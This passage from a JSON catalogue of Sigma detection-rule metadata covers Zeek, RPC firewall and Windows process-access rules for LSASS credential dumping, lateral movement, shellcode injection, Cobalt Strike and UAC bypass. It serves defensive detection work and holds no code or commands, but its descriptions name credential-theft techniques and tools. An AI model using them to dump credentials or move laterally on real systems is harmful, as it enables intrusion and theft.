      "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.",
      "meta": {
        "author": "OTR (Open Threat Research), @neu5ron",
        "creation_date": "2018/11/28",
        "falsepositive": [
          "Domain Controllers that are sometimes, commonly although should not be, acting as printer servers too"
        ],
        "filename": "zeek_dce_rpc_smb_spoolss_named_pipe.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://twitter.com/_dirkjan/status/1309214379003588608",
          "https://dirkjanm.io/a-different-way-of-abusing-zerologon/",
          "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bae2865c-5565-470d-b505-9496c87d0c30",
      "value": "SMB Spoolss Name Piped Usage"
    },
    {
      "description": "Identifies clients that may be performing DNS lookups associated with common currency mining pools.",
      "meta": {
        "author": "Saw Winn Naung, Azure-Sentinel, @neu5ron",
        "creation_date": "2021/08/19",
        "falsepositive": [
          "A DNS lookup does not necessarily  mean a successful attempt, verify a) if there was a response using the zeek answers field, if there was then verify the connections (conn.log) to those IPs. b) verify if HTTP, SSL, or TLS activity to the domain that was queried. http.log field is 'host' and ssl/tls is 'server_name'."
        ],
        "filename": "zeek_dns_mining_pools.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://github.com/Azure/Azure-Sentinel/blob/fa0411f9424b6c47b4d5a20165e4f1b168c1f103/Detections/ASimDNS/imDNS_Miners.yaml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_mining_pools.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002",
          "attack.impact",
          "attack.t1496"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bf74135c-18e8-4a72-a926-0e4f47888c19",
      "value": "DNS Events Related To Mining Pools"
    },
    {
      "description": "Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675).\nThe occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.\n",
      "meta": {
        "author": "@neu5ron (Nate Guagenti)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Legitimate remote alteration of a printer driver."
        ],
        "filename": "zeek_dce_rpc_printnightmare_print_driver_install.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29",
          "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527",
          "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek",
          "https://github.com/corelight/CVE-2021-1675",
          "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/",
          "https://old.zeek.org/zeekweek2019/slides/bzar.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml"
        ],
        "tags": [
          "attack.execution",
          "cve.2021.1678",
          "cve.2021.1675",
          "cve.2021.34527"
        ]
      },
      "uuid": "7b33baef-2a75-4ca3-9da4-34f9a15382d8",
      "value": "Possible PrintNightmare Print Driver Install"
    },
    {
      "description": "Detects known sensitive file extensions via Zeek",
      "meta": {
        "author": "Samir Bousseaden, @neu5ron",
        "creation_date": "2020/04/02",
        "falsepositive": [
          "Help Desk operator doing backup or re-imaging end user machine or backup software",
          "Users working with these data types or exchanging message files"
        ],
        "filename": "zeek_smb_converted_win_susp_raccess_sensitive_fext.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml"
        ],
        "tags": [
          "attack.collection"
        ]
      },
      "uuid": "286b47ed-f6fe-40b3-b3a8-35129acd43bc",
      "value": "Suspicious Access to Sensitive File Extensions - Zeek"
    },
    {
      "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes",
      "meta": {
        "author": "Samir Bousseaden, @neu5ron, Tim Shelton",
        "creation_date": "2020/04/02",
        "falsepositive": [
          "Update the excluded named pipe to filter out any newly observed legit named pipe"
        ],
        "filename": "zeek_smb_converted_win_lm_namedpipe.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://twitter.com/menasec1/status/1104489274387451904",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "021310d9-30a6-480a-84b7-eaa69aeb92bb",
      "value": "First Time Seen Remote Named Pipe - Zeek"
    },
    {
      "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares",
      "meta": {
        "author": "@neu5ron, Teymur Kheirkhabarov, oscd.community",
        "creation_date": "2020/04/02",
        "falsepositive": [
          "Transferring sensitive files for legitimate administration work by legitimate administrator"
        ],
        "filename": "zeek_smb_converted_win_transferring_files_with_credential_data.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002",
          "attack.t1003.001",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2e69f167-47b5-4ae7-a390-47764529eff5",
      "value": "Transferring Files with Credential Data via Network Shares - Zeek"
    },
    {
      "description": "The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused).\nAlthough recently it has been used in DNSSec, the value being set to anything other than 0 should be rare.\nOtherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward.\nDetermine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering.\nThis Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'\n",
      "meta": {
        "author": "@neu5ron, SOC Prime Team, Corelight",
        "creation_date": "2021/05/04",
        "falsepositive": [
          "Internal or legitimate external domains using DNSSec. Verify if these are legitimate DNSSec domains and then exclude them.",
          "If you work in a Public Sector then it may be good to exclude things like endswith \".edu\", \".gov\" and or \".mil\""
        ],
        "filename": "zeek_dns_susp_zbit_flag.yml",
        "level": "medium",
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        ],
        "filename": "rpc_firewall_dcsync_attack.yml",
        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
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      "meta": {
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        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
        "refs": [
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        ],
        "filename": "rpc_firewall_itaskschedulerservice_lateral_movement.yml",
        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
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          "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931",
          "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/",
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        "falsepositive": [
          "Some administrative tasks on remote host"
        ],
        "filename": "rpc_firewall_remote_dcom_or_wmi.yml",
        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
        "refs": [
          "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/",
          "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9",
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          "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd",
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        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
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        "filename": "rpc_firewall_sasec_lateral_movement.yml",
        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
        "refs": [
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          "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931",
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        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
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          "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml"
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        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
        "refs": [
          "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md",
          "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183",
          "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/",
          "https://github.com/zeronetworks/rpcfirewall",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml"
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        "filename": "rpc_firewall_efs_abuse.yml",
        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
        "refs": [
          "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml"
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      "meta": {
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        "filename": "rpc_firewall_sasec_recon.yml",
        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
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          "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931",
          "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/",
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        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
        "refs": [
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml"
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        "filename": "rpc_firewall_remote_server_service_abuse.yml",
        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
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          "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md",
          "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/",
          "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9",
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          "Unknown"
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        "filename": "rpc_firewall_atsvc_recon.yml",
        "level": "high",
        "logsource.category": "application",
        "logsource.product": "rpc_firewall",
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          "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/",
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      "meta": {
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          "Missing .vm files"
        ],
        "filename": "velocity_ssti_injection.yml",
        "level": "high",
        "logsource.category": "application",
        "logsource.product": "velocity",
        "refs": [
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          "https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/application/velocity/velocity_ssti_injection.yml"
        ],
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          "attack.t1190"
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      "related": [
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      "uuid": "16c86189-b556-4ee8-b4c7-7e350a195a4f",
      "value": "Potential Server Side Template Injection In Velocity"
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    {
      "description": "Detects when a process tries to access the memory of svchost to potentially dump credentials.",
      "meta": {
        "author": "Florent Labouyrie",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_svchost_credential_dumping.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_credential_dumping.yml"
        ],
        "tags": [
          "attack.t1548"
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      },
      "related": [
        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
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      ],
      "uuid": "174afcfa-6e40-4ae9-af64-496546389294",
      "value": "Credential Dumping Attempt Via Svchost"
    },
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      "description": "Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.",
      "meta": {
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        "creation_date": "2019/05/20",
        "falsepositive": [
          "Unlikely"
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        "filename": "proc_access_win_lsass_remote_access_trough_winrm.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2018/05/15/lateral-movement-winrm/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_remote_access_trough_winrm.yml"
        ],
        "tags": [
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      },
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          "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
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      "description": "Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/10/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_lsass_dump_comsvcs_dll.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/shantanukhande/status/1229348874298388484",
          "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a49fa4d5-11db-418c-8473-1e014a8dd462",
      "value": "Lsass Memory Dump via Comsvcs DLL"
    },
    {
      "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution",
      "meta": {
        "author": "Nik Seetharaman",
        "creation_date": "2018/07/16",
        "falsepositive": [
          "Legitimate CMSTP use (unlikely in modern enterprise environments)"
        ],
        "filename": "proc_access_win_cmstp_execution_by_access.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.003",
          "attack.execution",
          "attack.t1559.001",
          "attack.g0069",
          "attack.g0080",
          "car.2019-04-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3b4b232a-af90-427c-a22f-30b0c0837b95",
      "value": "CMSTP Execution Process Access"
    },
    {
      "description": "Detects process access requests from hacktool processes based on their default image name",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel",
        "creation_date": "2023/11/27",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_access_win_hktl_generic_access.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://jsecurity101.medium.com/bypassing-access-mask-auditing-strategies-480fb641c158",
          "https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_generic_access.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001",
          "attack.s0002"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d0d2f720-d14f-448d-8242-51ff396a334e",
      "value": "HackTool - Generic Process Access"
    },
    {
      "description": "Detects the usage of the direct syscall of NtOpenProcess which might be done from a CobaltStrike BOF.",
      "meta": {
        "author": "Christian Burkard (Nextron Systems), Tim Shelton (FP)",
        "creation_date": "2021/07/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_susp_direct_syscall_ntopenprocess.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_direct_syscall_ntopenprocess.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1106"
        ]
      },
      "related": [
        {
          "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3f3f3506-1895-401b-9cc3-e86b16e630d0",
      "value": "Direct Syscall of NtOpenProcess"
    },
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      "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2012/06/27",
        "falsepositive": [
          "Actual failures in lsass.exe that trigger a crash dump (unlikely)",
          "Unknown cases in which WerFault accesses lsass.exe"
        ],
        "filename": "proc_access_win_lsass_werfault.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001",
          "attack.s0002"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e5b33f7d-eb93-48b6-9851-09e1e610b6d7",
      "value": "Credential Dumping Attempt Via WerFault"
    },
    {
      "description": "Detects suspicious access to LSASS handle via a call trace to \"seclogon.dll\" with a suspicious access right.",
      "meta": {
        "author": "Samir Bousseaden (original elastic rule), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_lsass_seclogon_access.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1541920424635912196",
          "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml",
          "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_seclogon_access.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "472159c5-31b9-4f56-b794-b766faa8b0a7",
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    },
    {
      "description": "Detects process access to LSASS memory with uncommon access flags 0x410 and 0x01410",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/13",
        "falsepositive": [
          "Legitimate software accessing LSASS process for legitimate reason"
        ],
        "filename": "proc_access_win_lsass_uncommon_access_flag.yml",
        "level": "medium",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights",
          "https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html",
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow",
          "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_uncommon_access_flag.yml"
        ],
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          "attack.credential_access",
          "attack.t1003.001",
          "attack.s0002"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
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    },
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      "description": "Detects suspicious access to the \"svchost\" process such as that used by Invoke-Phantom to kill the thread of the Windows event logging service.",
      "meta": {
        "author": "Tim Burrell",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_svchost_susp_access_request.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hlldz/Invoke-Phant0m",
          "https://twitter.com/timbmsft/status/900724491076214784",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_susp_access_request.yml"
        ],
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          "attack.defense_evasion",
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        ]
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        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        }
      ],
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    },
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      "description": "Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_uac_bypass_wow64_logger.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_wow64_logger.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "4f6c43e2-f989-4ea5-bcd8-843b49a0317c",
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      "description": "Detects potential shellcode injection used by tools such as Metasploit's migrate and Empire's psinject",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2022/03/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_susp_shellcode_injection.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_shellcode_injection.yml"
        ],
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          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "250ae82f-736e-4844-a68b-0b5e8cc887da",
      "value": "Potential Shellcode Injection"
    },
    {
      "description": "Detects the process injection of a LittleCorporal generated Maldoc.",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_hktl_littlecorporal_generated_maldoc.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/connormcgarr/LittleCorporal",
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        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002",
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        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
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          "dest-uuid": "41d9846c-f6af-4302-a654-24bba2729bc6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "7bdde3bf-2a42-4c39-aa31-a92b3e17afac",
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      "meta": {
        "author": "Samir Bousseaden, Michael Haag",
        "creation_date": "2019/04/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_lsass_memdump.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md",
          "https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html",
          "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html",
          "https://research.splunk.com/endpoint/windows_possible_credential_dumping/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml"
        ],
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          "attack.credential_access",
          "attack.t1003.001",
          "attack.s0002"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
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      "value": "Credential Dumping Activity Via Lsass"
    },
    {
      "description": "Detects a typical pattern of a CobaltStrike BOF which inject into other processes",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_hktl_cobaltstrike_bof_injection_pattern.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/boku7/spawn",
          "https://github.com/boku7/injectAmsiBypass",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_cobaltstrike_bof_injection_pattern.yml"
        ],
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          "attack.execution",
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      },
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        {
          "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
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        },
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          ],
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        }
      ],
      "uuid": "09706624-b7f6-455d-9d02-adee024cee1d",
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      "meta": {
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        "level": "medium",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights",
          "https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html",
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow",
          "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_susp_access_flag.yml"
        ],
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          "attack.credential_access",
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        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
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      ],
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        "author": "frack113",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_susp_invoke_patchingapi.yml",
        "level": "medium",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/D1rkMtr/status/1611471891193298944?s=20",
          "https://github.com/D1rkMtr/UnhookingPatch",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_invoke_patchingapi.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        }
      ],
      "uuid": "b916cba1-b38a-42da-9223-17114d846fd6",
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    },
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_access_win_lsass_whitelisted_process_names.yml",
        "level": "high",
        "logsource.category": "process_access",
        "logsource.product": "windows",
        "refs": [
